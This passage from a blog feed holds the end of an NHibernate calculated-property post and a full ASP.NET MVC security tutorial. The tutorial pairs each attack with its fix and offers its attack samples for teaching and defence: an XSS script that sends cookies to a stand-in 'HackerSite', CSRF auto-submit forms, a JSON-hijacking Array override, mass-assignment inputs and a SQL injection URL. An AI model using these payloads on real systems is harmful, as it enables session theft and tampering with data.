          treeBuilder.Dot(treeBuilder.Dot(parcel, treeBuilder.Ident(&quot;ParcelType&quot;)), treeBuilder.Ident(&quot;FeePerWeight&quot;))
      );
   }
}
</pre></p>
<p>And you register this generator into NHibernate runtime to handle our Fee property:</p>
<p><pre class="brush: csharp;">
registry.RegisterGenerator(ReflectionHelper.GetProperty&lt;Parcel, decimal&gt;(x=&gt; x.Fee), new ParcelFeeLinqGenerator());
</pre></li>
</ol>
<p>All those 3 approaches do the job just fine, but whichever one you pick you&#8217;ll still end up duplicating your Fee calculation logic one way or another. You&#8217;ll either be repeating your logic in C# expressions (option#1), in SQL expression (option #2), or in HQL expression (option #3). That seems to violate DRY. It&#8217;s easy to forget to change your querying logic whenever your pricing rule changes (e.g. tax).</p>
<h1>Better Way?</h1>
<p>The ideal solution is to eliminate logic duplication. We want to be able to write the calculation logic only once to be shared both by the property as well as by Linq queries. I&#8217;ll be using approach#3 while employing a pattern to avoid duplicating our logic.</p>
<p>First step, I create this generic ILinqToHqlGenerator plumbing that I can reuse for all calculated properties in my projects.</p>
<p><pre class="brush: csharp;">
public class CalculatedPropertyGenerator&lt;T, TResult&gt; : BaseHqlGeneratorForProperty
{
   public static void Register(ILinqToHqlGeneratorsRegistry registry, Expression&lt;Func&lt;T, TResult&gt;&gt; property, Expression&lt;Func&lt;T, TResult&gt;&gt; calculationExp)
   {
      registry.RegisterGenerator(ReflectionHelper.GetProperty(property), new CalculatedPropertyGenerator&lt;T, TResult&gt;{_calculationExp = calculationExp});
   }
   private CalculatedPropertyGenerator(){} // Private constructor

   private readonly Expression&lt;Func&lt;T, TResult&gt;&gt; _calculationExp;
   public override HqlTreeNode BuildHql(MemberInfo member, Expression expression, HqlTreeBuilder treeBuilder, IHqlExpressionVisitor visitor)
   {
      return visitor.Visit(_calculationExp);
   }
}
</pre></p>
<p>Once we got that plumbing class in place, we&#8217;ll then modify my parcel class slightly to look like the following:</p>
<p><pre class="brush: csharp;">
public class Parcel
{
   public PackagingType PackagingType {get; set;}
   public ParcelType ParcelType  {get; set; }
   public float Weight {get; set;}

   /// &lt;summary&gt;
   /// To be reused for (NHibernate) Linq generator
   /// &lt;/summary&gt;
   public static readonly Expression&lt;Func&lt;Parcel, decimal&gt;&gt; CalculateFeeExpression = x =&gt;
          (x.Weight - x.PackagingType.TareWeight) / x.ParcelType.FeePerWeight;

   private static readonly Func&lt;Parcel, decimal&gt; CalculateFee = CalculateFeeExpression.Compile();
   public decimal Fee
   {
      get {return CalculateFee(this);
   }
}
</pre></p>
<p>Now you register this FeeCalculationExpression to NHibernate registry so that NHibernate can now translate Fee property using the same fee-calculation expression used by the Parcel class itself.</p>
<p><pre class="brush: csharp;">
CalculatedPropertyGenerator&lt;Parcel, double&gt;.Register(registry, x=&gt; x.Fee, Parcel.CalculateFeeExpression);
</pre></p>
<p>Now this Linq query works. NHibernate knows how to handle Fee property in the query.</p>
<p><pre class="brush: csharp;">
var expensiveParcels = from parcel in Session.Query&lt;Parcel&gt; where parcel.Fee &gt; 1000 select parcel;
</pre></p>
<p>We are reusing the same business-rule for calculating Fee property as well as to generate our NHibernate queries. There&#8217;s no duplication, and it requires very little setup as well (once you get the CalculatedPropertyGenerator plumbing class in place). This so far has been my favorite approach to map calculated-properties to NHibernate.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/nhibernate/'>nHibernate</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1536/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1536/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1536/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1536/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1536/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1536/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1536/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1536/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1536/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1536/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1536/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1536/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1536/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1536/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1536&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/09/06/nhibernate-linq-ing-calculated-properties/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Web Development Security Patterns</title>
		<link>http://hendryluk.wordpress.com/2011/08/08/web-development-security-patterns/</link>
		<comments>http://hendryluk.wordpress.com/2011/08/08/web-development-security-patterns/#comments</comments>
		<pubDate>Mon, 08 Aug 2011 03:44:05 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Development Practice]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=1402</guid>
		<description><![CDATA[As a good web developer, there are several patterns that we all must follow to make sure we&#8217;re not exposing our application to common security and usability problems. I&#8217;m documenting some of these basic dos and don&#8217;ts into this post. And while these patterns are specific to ASP.NET MVC development, almost all of the guidelines [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1402&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>As a good web developer, there are several patterns that we all must follow to make sure we&#8217;re not exposing our application to common security and usability problems. I&#8217;m documenting some of these basic <em>do</em>s and <em>don&#8217;t</em>s into this post. And while these patterns are specific to ASP.NET MVC development, almost all of the guidelines (risks, vulnerability, and solutions) are applicable to web development in general.</p>
<p>The first step in securing a website is to know how to attack it. So this post will cover some how-to guides to perform some of the most common methods to hack a website, and ultimately how to prevent them. No, don&#8217;t feel obliged to rush and practice these attacks on your local bakery&#8217;s websites, and even if you do, I&#8217;ll disclaim my involvement in any unlawful conducts <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<h1>1. Encode your texts</h1>
<h3>Risk:</h3>
<p>XSS vulnerability</p>
<h3>How:</h3>
<p>Your dear hacker would just visit your website, and post this comment on your wall or guestbook.</p>
<p><pre class="brush: xml;">
This is a dodgy message. &lt;script&gt;
   document.write(
      '&lt;img src=http://HackerSite/StealCookie?input='
      + escape(document.cookie)
      + '/&gt;');
&lt;/script&gt;
</pre></p>
<p>If your website does not encode this text, the script will appear on your homepage, and it will steal all your users&#8217; cookies (and therefore their sessions and credentials), and send all those data secretly to the hacker&#8217;s site without anyone&#8217;s knowledge.</p>
<h3>Solution:</h3>
<p>Always encode your texts, especially those that may be input/modified by your users. Before razor, in ASP.Net 4.0, you simply had to use</p>
<p><pre class="brush: csharp;">
&lt;%:Model.Message%&gt;
</pre></p>
<p>.. instead of:</p>
<p><pre class="brush: csharp;">
&lt;%=Model.Message%&gt;
</pre></p>
<p>Since razor, it will always encode your text.</p>
<p><pre class="brush: csharp;">
@Model.Message
</pre></p>
<p>.. so you&#8217;ll rarely need to worry about any of these any more, except when you&#8217;re writing Html helpers: do remember HTML encoding.</p>
<h1>2. Deny GET access to non-idempotent actions</h1>
<p>When I say non-idempotent actions, I mean actions that may cause some side-effects to the system. E.g. update my profile, post a wall comment, resend-password, kill a kitten, etc. Anyhow, this is bad:</p>
<p><pre class="brush: xml;">
&lt;a href=&quot;/AddToCart?ProductId=4423&quot;&gt;Add to Cart&lt;/a&gt;
</pre></p>
<h3>Risk:</h3>
<p>Cross-Site-Request-Forgery (XSRF) vulnerability.</p>
<h3>How:</h3>
<p>To launch an XSRF attack on your website, our megalomaniac hacker would write an HTML page that contains the following element to vandalize your shopping-cart:</p>
<p><pre class="brush: xml;">
&lt;img src=&quot;http://yourwebsite/AddToCart?product=4423&quot;/&gt;
</pre></p>
<p>He would then publish that little HTML script on his own website/blog-post, or just simply send the script as part of an email to every internet user under the sun.</p>
<p>When unsuspecting users of yourwebsite open this email (or visit his dodgy website) on their browsers, the img tags will secretly make a call to yourwebsite (e.g. vandalise your shopping-cart, post fake wall messages, buy a giraffe, or other evil things megalomaniacs usually do) on behalf of the current users without their consents.</p>
<p>And yes, Facebook, till this very date in my knowledge, is still vulnerable to this attack on some of their pages. Some nasty websites have exploited this vulnerability to post public messages to your Facebook walls/friends on your behalf.</p>
<h3>Solution:</h3>
<p>By requiring POST access (and rejecting GET) on your non-idempotent actions, you will stop &lt;img&gt; or &lt;script&gt; tags to launch XSRF attack against them. In ASP.NET MVC, this is done by decorating your actions with [HttpPost] attribute.</p>
<p><pre class="brush: csharp;">
[HttpPost]
public ActionResult AddToCart(Product product)
{
}
</pre></p>
<p>And change your &#8220;Add to Cart&#8221; hyperlink to a POST form submit button:</p>
<p><pre class="brush: csharp;">
&lt;form method=&quot;POST&quot; action=&quot;/AddToCart&quot;&gt;
   &lt;hidden name=&quot;product&quot; value=&quot;4423&quot; /&gt;
   &lt;input type=&quot;submit&quot; value=&quot;Add to Cart&quot; /&gt;
&lt;/form&gt;
</pre></p>
<p>I know some web designers prefer to have certain functionalities to look like hyperlinks, rather than submit-button, for certain aesthetic/usability reasons. In such case, you should still use submit buttons, and apply some CSS to make them look like hyperlinks. Do not use actual hyperlinks.</p>
<p>I also know that UI designers hate submit-buttons because they are very hard to style and look consistent in all browsers. If you really MUST use hyperlinks, hook it with a Javascript (at the cost of accessibility) to make it submit an AJAX POST. All access through the GET gate must be denied.</p>
<h1>3. Always validate anti-forgery token on every POST</h1>
<h3>Risk:</h3>
<p>Merely blocking GET access to your non-idempotent actions is not enough to stop XSRF attack.</p>
<h3>How:</h3>
<p>To penetrate an HttpPost-restricted actions, our megalomaniac hacker would simply make a form on his own dodgy website, and make it submit to yourwebsite.</p>
<p><pre class="brush: csharp;">
&lt;form id=&quot;evilForm&quot; method=&quot;POST&quot; action=&quot;http://yourwebsite/Purchase&quot;&gt;
   &lt;input type=&quot;Hidden&quot; name=&quot;ProductCode&quot; value=&quot;BabyPanda&quot; /&gt;
   &lt;input type=&quot;Hidden&quot; name=&quot;Quantity&quot; value=&quot;1000000&quot; /&gt;
   &lt;input type=&quot;Submit value=&quot;Free Coke is Here!&quot;/&gt;
&lt;/form&gt;
</pre></p>
<p>Who could resist a button that says &#8220;Free Coke&#8221;? What&#8217;s so evil about that button is: not only does it submit an order for a million baby pandas from yourwebsite.com, courtesy of your unsuspecting users, it does not even give out any free coke either!</p>
<p>So we&#8217;ll be safe as long as we don&#8217;t click any button on some malicious website right? Well not quite. Your hacker can save you the trouble and click the button for you:</p>
<p><pre class="brush: jscript;">
&lt;script type=&quot;text/javascript&quot;&gt;
   $(&quot;form&quot;).submit();
&lt;/script&gt;
</pre></p>
<p>So just by opening his evil page on your browser, BAAM! You purchase a million baby pandas.</p>
<h3>Solution:</h3>
<p>Always validate anti-forgery token on all your POST actions. In ASP.Net MVC, you just add a [ValidateAntiForgeryToken] attribute.</p>
<p><pre class="brush: csharp;">
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult PostToWall(string message)
{
}
</pre></p>
<p>Now your action is requiring __RequestVerificationToken to be passed in the post, and the value must match the one stored in a client cookie called &#8220;__RequestVerificationToken_Lw__&#8221;. (This token is initially generated by your application). So any arbitrary form submission without this token (or with an incorrect token) will be denied.</p>
<p>The existing form we wrote earlier (above) will now fail to submit. (Anti-Forgery Token Validation Exception). To pass this validation, you need to modify the form to include a &#8220;__RequestVerificationToken&#8221; hidden input that will hold the security token.</p>
<p><pre class="brush: csharp;">
@using(Html.BeginForm(&quot;Purchase&quot;))
{
   @Html.AntiForgeryToken() // this will render a hidden __RequestVerificationToken
   // the rest of your form
}
</pre></p>
<p>Since your hacker does not have access to your cookie (unless if you&#8217;re exploited by an XSS attack), he won&#8217;t be able to work out the token of the current user, and is therefore unable to make a POST that&#8217;s accepted by our validation. This anti-forgery protection is rendered ineffective if your website has any XSS vulnerability.</p>
<p>So why do we need our previous rule#2:<em> &#8220;avoid GET&#8221;</em>? Forging a POST is just as easy as forging a GET anyway, so now that we got this anti-forgery-token, why must I use POST?<br />
Oh no<strong>, <span style="color:#ff0000;">do NOT use anti-forgery-token with GET</span></strong> (i.e. via querystring, as I frequently see), because it&#8217;s easily leaked. E.g. if yourwebsite has links to other sites, they can use HTTP_REFERRER headers to read your users&#8217; querystring (hence their tokens). So all your hacker needs to do is to leave spam messages (with his URL) on your wall/guestbook, and provoke the curious minds of your users to click it, and SMACK! Curiousity just killed the cat.</p>
<p>Even if you have no bogus link on yourwebsite (e.g. you don&#8217;t accept external URLs, or you have a seriously awesome spam filter) thus protecting your HTTP_REFERRER from malicious sites, a determined hacker can still just interogate your entire browsing history (using a <a href="http://technopedia.info/tech/2006/08/24/people-can-steal-your-browser-history-watchout.html" target="_blank">JS+CSS trick</a>), and if he gets lucky, that would be the end of your oh-so-important token.<br />
So there, keep rule#2 and use POST!</p>
<h1>4. Protect your JSON data</h1>
<p>We&#8217;ve covered before that non-idempotent actions needs to be restricted to POST. So what about an idempotent GET actions that simply return (possibly sensitive) JSON data?</p>
<h3>Risk:</h3>
<p>JSON Hijacking</p>
<h3>How:</h3>
<p>AJAX requests are generally considered safe because browsers only allow AJAX requests (i.e. XmlHttpRequest aka XHR) to your own domain. Put simply, cross-site AJAX is not allowed, eliminating the risk of cross-site forgery via AJAX.</p>
<p>A hacker can still make a cross-domain access to your GET services using &lt;img&gt; or &lt;script&gt; tag. E.g.:</p>
<p><pre class="brush: xml;">
&lt;img src=&quot;http://yourwebsite/InboxMessages&quot; /&gt;
</pre></p>
<p>&#8230; but that&#8217;s fine, no harm there. As covered in point#2 above, we only allow GET on idempotent services (such as retrieving InboxMessages), not on unsafe services (such as sending messages). So the script above can&#8217;t possibly do any harm on the server. As for the JSON data itself, a hacker can&#8217;t read anything using &lt;img&gt; or &lt;script&gt; (he would need XHR or an IFrame inspection, both of which are not allowed to cross domains), so we&#8217;re all safe.</p>
<p>Unfortunately, using a clever trick, a hacker can actually read your JSON data. It&#8217;s achieved by rewriting the Array definition in Javascript.</p>
<p><pre class="brush: jscript;">
&lt;script type=&quot;text/javascript&quot;&gt;
  // Overload the Array constructor so we can intercept data
  var realArray = Array;
  Array = function () {
     var arr = realArray.apply(arguments);
     stealData(arr);
     return arr;
  }
&lt;/script&gt;

&lt;script src=&quot;http://yourwebsite/InboxMessages&quot; /&gt;
</pre></p>
<p>First, he overloads (read: hijacks) the Array constructor of the Javascript. From that point on, it&#8217;s fairly straightforward. He just simply hits your InboxMessage service using a &lt;script&gt; tag, and every Array that&#8217;s returned within your JSON will be chanelled through to his fake Array constructor that steals your data.</p>
<p>GMail was vulnerable to this attack until a couple years ago. Many of its users data (emails &amp; contacts) were stolen using this very technique, before Google eventually fixed the hole.</p>
<h3>Solution:</h3>
<p>There are two options you can pick to protect against JSON hijacking.</p>
<ol>
<li>Do not allow GET access in the first place. Limit your JSON service only to POST requests (like what we did on point#2), even for idempotent services. By default, the Json() method in ASP.NET MVC does just that (it throws an exception on GET requests) for this exact security reason. But forcing POST to retrieve (JSON) data violates proper Http semantics, and might not even be an option if you are writing RESTful services. A better way to solve this is by restricting your JSON services to only allow AJAX calls (option #2).</li>
<li>In ASP.Net MVC, you simply add [AjaxOnly] attribute from MVCFutures (which simply checks Request.IsAjax==true; something that you can write yourself very easily if you&#8217;re not using MVCFutures library).<br />
<pre class="brush: csharp;">
[HttpGet]
[AjaxOnly]
public ActionResult InboxMessages()
{
}
</pre></p>
<p>Now your actions only accept AJAX requests. And since you can&#8217;t make a cross-site AJAX request, your actions are now safe from cross-site attacks.</li>
</ol>
<h1>5. Securing AJAX POSTs Against Forgery</h1>
<p>We know from point#3 above that we should always validate our form submission against anti-forgery token. That&#8217;s fine. But what about AJAX calls, such as the following:</p>
<p><pre class="brush: jscript;">
$.post(&quot;http://yourwebsite/ReplyMessage&quot;,
   { repliedMsgId: 123, replyMsg: &quot;Roger that!&quot;});
</pre></p>
<p>How do you secure this AJAX call?</p>
<h3>Risk:</h3>
<p>XSRF attack (look point#3)</p>
<h3>How:</h3>
<p>(Look point#3)</p>
<h3>Solution:</h3>
<p>Similar to point#3, you could change the way you make AJAX calls in your javascript by always adding an anti-forgery-token (retrieved from the user&#8217;s cookie) into the payload. But it&#8217;s not really necessary. There&#8217;s no change necessary in your javascript. You just simply to protect your server-side actions with [AjaxOnly] attribute (similar to point#4).</p>
<p><pre class="brush: csharp;">
[HttpPost]
[AjaxOnly]
public ActionResult InboxMessages()
{
}
</pre></p>
<p>Since cross-site AJAX calls are not allowed by browsers, your action is safe against cross-site attacks, without the need to validate anti-forgery tokens.</p>
<p>In cases where you reuse the same action for both Ajax and non-Ajax POSTs, then you will need to resort back to the usual anti-forgery-tokens validations (and you&#8217;ll need to change your Ajax call to also include this token as part of the payload).</p>
<h1>6. POST-Redirect-GET (PRG)</h1>
<p>It&#8217;s a bad practice for a successful POST request to return a content page. For example, upon submitting a Purchase form, the server returns back a successful page (without redirection).</p>
<h3>Risk:</h3>
<p>Accidental double POSTs</p>
<h3>How:</h3>
<p>When you return a page from a POST request (without redirection):</p>
<ol>
<li>Your users might accidentally make a repeated POST when they use back/forward navigation or refresh button on their browsers. They are practically unable to come back to the page they last saw (e.g. their order confirmation) without making another POST to the server (i.e. submitting another purchase).</li>
<li>It may break browser bookmark feature. E.g. if your &#8220;Reply Message&#8221; returns back to Inbox page (without redirection), and the user bookmarks the page, he will be wrongly bookmarking a wrong URL (/Reply) instead of the actual /Inbox URL.</li>
</ol>
<h3>Solution:</h3>
<p>As a general acceptable rule, your POST should always return a redirection unless the POST has been unsuccessful (i.e. no impact has been made on the server). For instance, upon a successful Purchase POST, instead of returning a confirmation page, the POST should rather redirect the browser to /PurchaseConfirmation?OrderNumber=1234 (which in turn displays the order confirmation page).</p>
<p>If the POST has been unsuccessful (and all changes have been rolled-back), the general acceptable rule is for the POST to return the same page, without any redirection. This way, the user can retry submitting the form by refreshing the page, without having to navigate back.</p>
<p>So if you combine this with rule#2, you&#8217;ll get this rule:</p>
<ul>
<li>GET should only return contents. It should not make any server-side effect. (I.e. idempotent requests, aka &#8220;queries&#8221;)</li>
<li>POST should only make server-side effects, and it should not return contents (i.e. non-idempotent requests, aka &#8220;commands&#8221;). It also means that if no server-side effect was made (e.g. failures), it may return contents.</li>
</ul>
<p>Basically, Command-Query-Separation (CQS). The advantages of following this pattern are:</p>
<ol>
<li>It avoids confussion and frustration, as the users will be able to use their next/back navigation or refresh-button without accidentally causing double-posts nor being prompted by their browsers about it. It has become one of those Internet norms, and your typical users will be expecting this behavior from your website, so you might as well embrace it.<br />
Furthermore, when you use GET (including the results of POST-redirection), the browser will cache the page so that when the user navigates back/forward he will be able to view his last-viewed pages, instead of having to refetch the page from the server (which might have changed or expired). If you use POST to return a page without redirection, the user will be forced to make another POST (which will cause him to buy another product) when he tries to see the confirmation message of his last order.</li>
<li>Redirection ensures that the user will be able to bookmark the page without mistakenly taking a wrong URL.</li>
</ol>
<h1>7. Always use controller-specific ViewModel for ModelBinding</h1>
<p><pre class="brush: csharp;">
public class Customer
{
   public string FirstName {get; set;}
   public string LastName {get; set;}
   public int CreditRating {get; set;}

   /* other properties/methods */
}
</pre></p>
<p>A customer can&#8217;t change his own credit-rating from his profile page, which is, by the way, the following:</p>
<p><pre class="brush: csharp;">
@using(Html.BeginForm(&quot;EditMyProfile&quot;)
{
   &lt;div&gt;
      @Html.LabelFor(x=&gt; x.FirstName)
      @Html.EditorFor(x=&gt; x.FirstName)
   &lt;/div&gt;
   &lt;div&gt;
      @Html.LabelFor(x=&gt; x.LastName)
      @Html.EditorFor(x=&gt; x.LastName)
   &lt;/div&gt;

   &lt;input type=&quot;Submit&quot; value=&quot;Save&quot; /&gt;
}
</pre></p>
<p>And here&#8217;s the controller action that handles the form.</p>
<p><pre class="brush: csharp;">
[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel(customer);

   // Save the customer
}
</pre></p>
<p>.. or if you have full-fledged model-binding infrastructure in place:</p>
<p><pre class="brush: csharp;">
[HttpPost]
public ActionResult EditMyProfile(Customer customer)
{
   // save the customer
}
</pre></p>
<h3>Risk:</h3>
<p>Users may make unauthorized changes to the data</p>
<h3>How:</h3>
<p>Our hacker would just simply use Firebug or WebDeveloper to edit the HTML form and add the following textbox:</p>
<p><pre class="brush: xml;">
&lt;input name=&quot;CreditRating&quot; value=&quot;100&quot; /&gt;
</pre></p>
<p>Thanks to ASP.NET MVC ModelBinder, he can now edit his CreditRating to 100 or whatever he wants. And in fact, especially if you use ORM that supports automatic change-tracking, he can even make other far-reaching changes on other objects by navigating through your object structure. E.g., still on EditMyProfile page:</p>
<p><pre class="brush: xml;">
&lt;input name=&quot;Region.Administrator.Password&quot; value=&quot;hackedPassword&quot; /&gt;
&lt;input name=&quot;ShoppingCart.Items[0].Price&quot; value=&quot;0.01&quot; /&gt;
</pre></p>
<p>Starting from a Customer object, he can jump through other objects and change your region&#8217;s administrator password, or change the prices of your products. Automatic change-tracking of your ORM will make sure that these changes will get saved!</p>
<h3>Solution:</h3>
<p>Do NOT use ASP.Net MVC&#8217;s ModelBinder against your actual domain objects, particularly those that are tracked by your ORM. ASP.Net ModelBinder should ONLY be coupled with ViewModels, and your ViewModel must expose only the properties that you&#8217;re allowing your users to input on that particular page.</p>
<p><pre class="brush: csharp;">
[HttpPost]
public ActionResult EditMyProfile(EditMyProfileViewModel vm)
{
   // map the view-model values to the customer object
   // save the customer
}
</pre></p>
<p>Alternatively you can extract an interface of your domain-model, and only bind your controller action against this interface.</p>
<p><pre class="brush: csharp;">
public class Customer: IMyProfileUpdatable, IAdminUpdatable
{
   public interface IMyProfileUpdatable
   {
      string FirstName {get; set;}
      string LastName {get; set;}
   }
   public interface IAdminUpdatable: IMyProfileUpdatable
   {
      int CreditRating {get; set;
   }

   // The rest of your normal Customer class
}
</pre></p>
<p>And the controller actions:</p>
<p><pre class="brush: csharp;">
[HttpPost]
public ActionResult EditMyProfile()
{
   Customer customer = //get my customer
   TryUpdateModel&lt;Customer.IMyProfileUpdatable&gt;(customer); // Bind against the interface

   // Save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer()
{
   Customer customer = //get customer
   TryUpdateModel&lt;Customer.IAdminUpdatable&gt;(customer); // Bind against the interface

   // Save the customer
}
</pre></p>
<p>.. or if proper model-binding infrastructure in place:</p>
<p><pre class="brush: csharp;">
[HttpPost]
public ActionResult EditMyProfile(Customer.IMyProfileUpdatable customer)
{
   // save the customer
}

[RequirePermission(Permissions.AdministerCustomer)]
public ActionResult EditCustomer(Customer.IAdminUpdatable customer)
{
   // Save the customer
}
</pre></p>
<p>By limiting your ModelBinding to a specific interface, you&#8217;re limitting to specific parts of your object that your users can reach. In most projects, I enforce this rule by making my ModelBinder to NOT bind any properties of my domain entities (by default), unless I explicitly mark my binding with a special attribute (e.g. [EditEntity]).</p>
<h1>8. Don&#8217;t trust hidden-fields</h1>
<p>This is a reminder why this is a bad (Razor) view:</p>
<p><pre class="brush: csharp;">
@model Sheep.UserProfile
@using(Html.BeginForm(&quot;UpdateMyProfile&quot;))
{
   @Html.Hidden(x=&gt; x.User.Id);
   @Html.EditorFor(x=&gt; x.User.FirstName);
   @Html.EditorFor(x=&gt; x.User.LastName);
}
</pre></p>
<p>We use hidden field (or query-string) to pass the User.Id to our controller Action, which is usually to leverage custom model-binding infrastructure that automatically loads entities (e.g. User) by the Id being passed, then binds the rest of the properties.</p>
<h3>Risk:</h3>
<p>Prone to user manipulation</p>
<h3>How:</h3>
<p>By using Firebug to change the hidden User.Id field to some other UserId, a hacker can perform &#8220;update my profile&#8221; on behalf of ANY user he wishes. Your &#8220;update my profile&#8221; page is more like an &#8220;update ANY profile&#8221; page really.</p>
<h3>Solution:</h3>
<p>Yap, get rid of the UserId field from the client side (form field, cookie, or query-string). On the server side, you should always reinterogate again the identity of the current user (e.g. using ASP.NET membership), instead of relying on user input. It seems a very obvious advice, but you&#8217;ll be surprised how often I&#8217;ve seen this mistake.</p>
<h1>9. HTTPS</h1>
<p>I can&#8217;t stress this enough. NEVER ever submit a secure information via HTTP. Especially on a public network. NEVER.</p>
<p>Unfortunately, many websites (such as Facebook) default their login-pages to its HTTP version, and users need to explicitly change to HTTPS yourself if they choose so.</p>
<p>HTTP is very bad, worse than you might think. It&#8217;s very easy to snoop packet traffic in networks, especially wireless networks, and without HTTPS, your information (e.g. password, credit-card number, etc) are sent (in clear-text) to practically ALL machines participating in the network. All they need to do is to actually read the message (e.g. using Wireshark) whenever they feel like &#8216;stealing&#8217; your password, although I&#8217;m not sure you can even call it &#8220;stealing&#8221; since it&#8217;s YOU who literally broadcast your password to them.</p>
<p>So yes web-developers around the world, always equip all your sensitive forms with SSL. Probably don&#8217;t even make HTTP access on those forms possible at all, unless you have a very good reason to, and even so at least do NOT default it to HTTP.</p>
<h1>10. SQL Injection</h1>
<p>Yes it sounds like a thing from a long past. Our modern ways of doing data-access tend to protect us against SQL injections. We&#8217;ve all learnt that we should always parameterize your SQL values (using prepared-statements or Linq) as opposed to inlining them in the string. SQL Injection attack is a dying breed.</p>
<p>However this vulnerability still reappears from time to time, such as the following example, which is still regularly seen even in today&#8217;s world. Consider this URL on your product search page:</p>
<p><pre class="brush: plain;">http://yourwebsite/products?minPrice=300&amp;sortBy=ProductDescription</pre></p>
<p>And here&#8217;s our controller action. Being a good developer, we use a prepared-statement to parameterize all our SQL values (e.g. minPrice).</p>
<p><pre class="brush: csharp;">
[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query&lt;Product&gt;(
      &quot;select * from Products where Price &gt;= @minPrice order by &quot; + sortBy,
      new {minPrice = minPrice});

   return View(products);
}
</pre></p>
<p>That was a common example of a SQL-Injection hole.</p>
<h3>Risk:</h3>
<p>SQL Injection attack</p>
<h3>How:</h3>
<p>Our hacker can make the following request on his browser:</p>
<p><pre class="brush: plain;">http://yourwebsite/products?minPrice=300&amp;sortBy=ProductDescription;UPDATE%20Products%20SET%20Price=0.01</pre></p>
<p>When that gets executed, it will change the pricing of your products in a way that makes your customers immensely happy, and your boss immensely sad.</p>
<p>I was using SQL in that example, but the same attack method can be used against ORMs, for instance if you use NHibernate&#8217;s HQL, you&#8217;re not immune against HQL Injections.</p>
<h3>Solution:</h3>
<p>Make sure you validate your input.</p>
<p><pre class="brush: csharp;">
[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   ValidateColumn(sortBy);
   var products = Query&lt;Product&gt;(
      &quot;select * from Products where Price &gt;= @minPrice order by &quot; + sortBy,
      new {minPrice = minPrice});

   return View(products);
}
</pre></p>
<p>The better way is perhaps to avoid string concatenation altogether, and use Linq or other query API instead (such as Criteria and QueryOver in NHibernate), though it&#8217;s not always possible.</p>
<p><pre class="brush: csharp;">
[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query&lt;Product&gt;()
         .Where(x=&gt; Price &gt;= minPrice)
         .OrderBy(ToMemberExpression(sortBy));
   return View(products);
}

private static Expression&lt;Func&lt;T, object&gt;&gt; ToMemberExpression&lt;T&gt;(string propertyName)
{
   var parameterExpression = Expression.Parameter(typeof (T), &quot;x&quot;);
   var expression = (Expression) parameterExpression;
   var str = propertyName;
   var chArray = new char[]{'.'};

   foreach (var propertyName1 in str.Split(chArray))
      expression = (Expression) Expression.Property(expression, propertyName1);

   return Expression.Lambda&lt;Func&lt;T, object&gt;&gt;((Expression) Expression.Convert(
       expression, typeof (object)), new ParameterExpression[] { parameterExpression });
}
</pre></p>
